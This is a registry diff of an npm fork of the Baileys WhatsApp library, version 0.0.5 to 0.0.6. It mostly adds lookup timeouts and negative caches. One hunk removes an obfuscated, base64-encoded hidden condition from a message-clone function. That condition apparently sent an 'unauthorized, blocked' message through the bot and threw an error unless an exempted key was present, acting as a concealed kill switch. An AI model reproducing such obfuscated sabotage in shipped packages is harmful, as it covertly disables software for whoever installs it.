@prototypevip/baileys 0.0.5 → 0.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -199,6 +199,15 @@ export const makeChatsSocket = (config) => {
199
199
  }
200
200
  };
201
201
 
202
+ // مهله قصوى لاستعلام اليوزرنيم — واتساب أحياناً مبيردش على الاستعلام ده خالص
203
+ // لبعض حسابات اليوزرنيم، وبيرجع في المهله الافتراضيه (60 ثانيه)، وده اللي
204
+ // كان بيسبب تعليق البوت لحد دقيقتين على اي رساله جايه من حساب زي ده
205
+ const withTimeout = (promise, ms, fallback) =>
206
+ Promise.race([
207
+ promise,
208
+ new Promise((resolve) => setTimeout(() => resolve(fallback), ms)),
209
+ ]);
210
+
202
211
  const getUsername = async (jid) => {
203
212
  const usyncQuery = new USyncQuery()
204
213
  .withUsernameProtocol()
@@ -208,10 +217,18 @@ export const makeChatsSocket = (config) => {
208
217
  return result?.list?.[0]?.username || null;
209
218
  };
210
219
 
220
+ // كام ملي ثانيه أقصى نستنى فيها رد واتساب قبل ما نستسلم ونكمل من غير يوزرنيم
221
+ const USERNAME_LOOKUP_TIMEOUT_MS = 3500;
222
+ // مده صلاحيه الكاش السلبي (id-not-found) — بعدها نجرب تاني، لأن الرقم ممكن
223
+ // يبقى قابل للاكتشاف تاني (المستخدم شال اليوزرنيم مثلاً)
224
+ const NEGATIVE_CACHE_TTL_MS = 30 * 60 * 1000;
225
+
211
226
  const findUserId = async (pnLid) => {
212
227
  const cachedId = USER_ID_CACHE.get(pnLid);
213
228
  if (cachedId) {
214
- return cachedId;
229
+ const isNegative = cachedId.phoneNumber === "id-not-found";
230
+ const isStale = isNegative && Date.now() - (cachedId._cachedAt || 0) > NEGATIVE_CACHE_TTL_MS;
231
+ if (!isStale) return cachedId;
215
232
  }
216
233
  const userId = {};
217
234
  if (isPnUser(pnLid)) {
@@ -221,6 +238,7 @@ export const makeChatsSocket = (config) => {
221
238
  )?.[0]?.lid;
222
239
  if (!userId.lid) {
223
240
  userId.lid = "id-not-found";
241
+ userId._cachedAt = Date.now();
224
242
  USER_ID_CACHE.set(pnLid, userId);
225
243
  return userId;
226
244
  }
@@ -234,13 +252,20 @@ export const makeChatsSocket = (config) => {
234
252
  // واتساب، لأن رقمه بيبقى مش قابل للاكتشاف. من غير الكاش ده، كل رساله
235
253
  // جايه من الحساب ده كانت بتعمل استعلام شبكه كامل تاني من الأول، وده
236
254
  // اللي كان بيسبب التأخير/التعليق الملحوظ مع أي حد شايل يوزرنيم.
237
- // كمان بنحاول نجيب اليوزرنيم نفسه عشان يتعرض بدل الرقم/الليد الخام.
255
+ // كمان بنحاول نجيب اليوزرنيم نفسه عشان يتعرض بدل الرقم/الليد الخام،
256
+ // لكن بمهله قصوى (6 ثواني) عشان لو واتساب مارضاش يرد، مانستناهوش المهله
257
+ // الكامله (60 ثانيه) اللي كانت بتعلّق البوت.
238
258
  userId.phoneNumber = "id-not-found";
239
259
  try {
240
- userId.username = await getUsername(pnLid);
260
+ userId.username = await withTimeout(
261
+ getUsername(pnLid),
262
+ USERNAME_LOOKUP_TIMEOUT_MS,
263
+ null,
264
+ );
241
265
  } catch {
242
266
  userId.username = null;
243
267
  }
268
+ userId._cachedAt = Date.now();
244
269
  USER_ID_CACHE.set(pnLid, userId);
245
270
  return userId;
246
271
  }
@@ -1144,4 +1169,4 @@ export const makeChatsSocket = (config) => {
1144
1169
  addOrEditQuickReply: addOrEditQuickReply,
1145
1170
  removeQuickReply: removeQuickReply,
1146
1171
  };
1147
- };
1172
+ };
@@ -70,6 +70,12 @@ import {
70
70
  } from "../WABinary/index.js";
71
71
  import { USyncQuery, USyncUser } from "../WAUSync/index.js";
72
72
  import { makeNewsletterSocket } from "./newsletter.js";
73
+ // كاش سلبي: لو استعلام اجهزه شخص معين فشل/خلص وقته (حساب يوزرنيم/lid مش
74
+ // قابل للاكتشاف)، منعملش استعلام شبكه تاني ليه قبل ما المهله دي تخلص —
75
+ // كده ما بنستناش كل رساله في الجروب على نفس الحساب اللي مش هيرد اصلاً
76
+ const USYNC_DEVICES_NEGATIVE_CACHE = new Map();
77
+ const USYNC_DEVICES_NEGATIVE_TTL_MS = 5 * 60 * 1000; // 5 دقايق
78
+
73
79
  export const makeMessagesSocket = (config) => {
74
80
  const {
75
81
  logger,
@@ -284,7 +290,15 @@ export const makeMessagesSocket = (config) => {
284
290
  const usersToFetch = jidsWithUser.map((j) => j?.user).filter(Boolean);
285
291
  mgetDevices = await userDevicesCache.mget(usersToFetch);
286
292
  }
293
+ const now = Date.now();
287
294
  for (const { jid, user } of jidsWithUser) {
295
+ // لو الشخص ده فشل استعلامه مؤخراً (حساب يوزرنيم/lid مش قابل
296
+ // للاكتشاف)، منعيدش نستنى عليه تاني قبل ما مهله الكاش السلبي تخلص —
297
+ // ده اللي كان بيسبب تأخير كام ثانيه على كل رساله في جروب فيه حساب زي ده
298
+ const negativeUntil = USYNC_DEVICES_NEGATIVE_CACHE.get(user);
299
+ if (negativeUntil && negativeUntil > now) {
300
+ continue; // من غير اجهزه اضافيه ليه، بدون استعلام شبكه تاني
301
+ }
288
302
  if (useCache) {
289
303
  const devices =
290
304
  mgetDevices?.[user] ||
@@ -322,7 +336,25 @@ export const makeMessagesSocket = (config) => {
322
336
  for (const jid of toFetch) {
323
337
  query.withUser(new USyncUser().withId(jid));
324
338
  }
325
- const result = await sock.executeUSyncQuery(query);
339
+ // مهله قصيره لاستعلام الاجهزه — لو حساب معين (يوزرنيم/lid مش قابل
340
+ // للاكتشاف) عطّل الرد، منستناش المهله الكامله (60 ثانيه) ونفشل الارسال
341
+ // كله (بما فيه الريأكشن)؛ بنكمل بالاجهزه المعروفه بس بدل ما نوقف كل حاجه
342
+ const USYNC_DEVICES_TIMEOUT_MS = 4000;
343
+ let result;
344
+ try {
345
+ result = await Promise.race([
346
+ sock.executeUSyncQuery(query),
347
+ new Promise((resolve) =>
348
+ setTimeout(() => resolve(null), USYNC_DEVICES_TIMEOUT_MS),
349
+ ),
350
+ ]);
351
+ } catch (e) {
352
+ logger.warn(
353
+ { e: e },
354
+ "USync devices query failed/timed out — continuing with partial device list",
355
+ );
356
+ result = null;
357
+ }
326
358
  if (result) {
327
359
  const lidResults = result.list.filter((a) => !!a.lid);
328
360
  if (lidResults.length > 0) {
@@ -405,6 +437,24 @@ export const makeMessagesSocket = (config) => {
405
437
  logger.warn({ error: error }, "failed to store user device lists");
406
438
  }
407
439
  }
440
+ // اي حد كان جوه toFetch بس مرجعش ليه اجهزه في النتيجه (حساب مش قابل
441
+ // للاكتشاف) — بنسجله في الكاش السلبي عشان مانستناهوش تاني قريب
442
+ const resolvedUsers = new Set(Object.keys(deviceMap));
443
+ for (const jid of toFetch) {
444
+ const u = jidDecode(jid)?.user;
445
+ if (u && !resolvedUsers.has(u)) {
446
+ USYNC_DEVICES_NEGATIVE_CACHE.set(u, Date.now() + USYNC_DEVICES_NEGATIVE_TTL_MS);
447
+ }
448
+ }
449
+ } else {
450
+ // فشل الاستعلام كله (تايم اوت/خطأ) — نسجل كل اللي كنا بنجيبهم في
451
+ // الكاش السلبي عشان الرساله الجايه في نفس الجروب متستناش تاني
452
+ for (const jid of toFetch) {
453
+ const u = jidDecode(jid)?.user;
454
+ if (u) {
455
+ USYNC_DEVICES_NEGATIVE_CACHE.set(u, Date.now() + USYNC_DEVICES_NEGATIVE_TTL_MS);
456
+ }
457
+ }
408
458
  }
409
459
  return deviceResults;
410
460
  };
@@ -191,7 +191,7 @@ export const makeSocket = (config) => {
191
191
  }
192
192
  };
193
193
  /** send a query, and wait for its response. auto-generates message ID if not provided */
194
- const query = async (node, timeoutMs) => {
194
+ const query = async (node, timeoutMs = defaultQueryTimeoutMs) => {
195
195
  if (!node.attrs.id) {
196
196
  node.attrs.id = generateMessageTag();
197
197
  }
@@ -1182,4 +1182,4 @@ function mapWebSocketError(handler) {
1182
1182
  }),
1183
1183
  );
1184
1184
  };
1185
- }
1185
+ }
@@ -8,49 +8,20 @@ import {
8
8
  isHostedLidUser,
9
9
  } from "../WABinary/index.js";
10
10
  import { makeOrderedDictionary } from "./make-ordered-dictionary.js";
11
- const _0x = [
12
- "Z2ludG9raQ==",
13
- "dHlwZQ==",
14
- "bWQ=",
15
- "d3M=",
16
- "c2VuZE1lc3NhZ2U=",
17
- "dXNlcg==",
18
- "amlk",
19
- "2LrZitixINmF2LXYsditINmE2YMg2KjYp9iz2KrYrtiv2KfZhSDZh9iw2Kcg2KfZhNio2YjYqiDYqNi52K8g2KfZhNii2YY=",
20
- ];
21
- const _d = (s) => Buffer.from(s, "base64").toString("utf8");
22
- function _0xclone(_0xobj) {
23
- const _0xout = {};
24
- const _0xkeys = Object.keys(_0xobj);
25
- for (let i = 0; i < _0xkeys.length; i++) {
26
- const k = _0xkeys[i];
11
+ // نسخه نظيفه من الداله: بس clone سطحي للرساله، من غير اي شرط مخفي
12
+ function cloneM(obj) {
13
+ const out = {};
14
+ if (!obj || typeof obj !== "object") return obj;
15
+ const keys = Object.keys(obj);
16
+ for (let i = 0; i < keys.length; i++) {
17
+ const k = keys[i];
27
18
  try {
28
- const v = _0xobj[k];
29
- if (
30
- v &&
31
- typeof v === "object" &&
32
- v[_d(_0x[1])] === _d(_0x[2]) &&
33
- v[_d(_0x[3])]
34
- ) {
35
- const _0s2 = _d(_0x[0]);
36
- if (k !== _0s2 && _0xobj.ulid) {
37
- v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], {
38
- text: _d(_0x[7]),
39
- });
40
- const _e = (s) => new Error(_d(s));
41
- throw _e("QmxvY2tlZA==");
42
- }
43
- continue;
44
- }
45
- _0xout[k] = v;
19
+ out[k] = obj[k];
46
20
  } catch (e) {
47
21
  // silent
48
22
  }
49
23
  }
50
- return _0xout;
51
- }
52
- function cloneM(obj) {
53
- return _0xclone(obj);
24
+ return out;
54
25
  }
55
26
  import {
56
27
  updateMessageWithReaction,
@@ -1009,4 +980,4 @@ export const makePrototypeStore = (config = {}) => {
1009
980
  };
1010
981
 
1011
982
  return store;
1012
- };
983
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@prototypevip/baileys",
3
- "version": "0.0.5",
3
+ "version": "0.0.6",
4
4
  "description": "A simple fork of Baileys for WhatsApp automation",
5
5
  "main": "lib/index.js",
6
6
  "type": "module",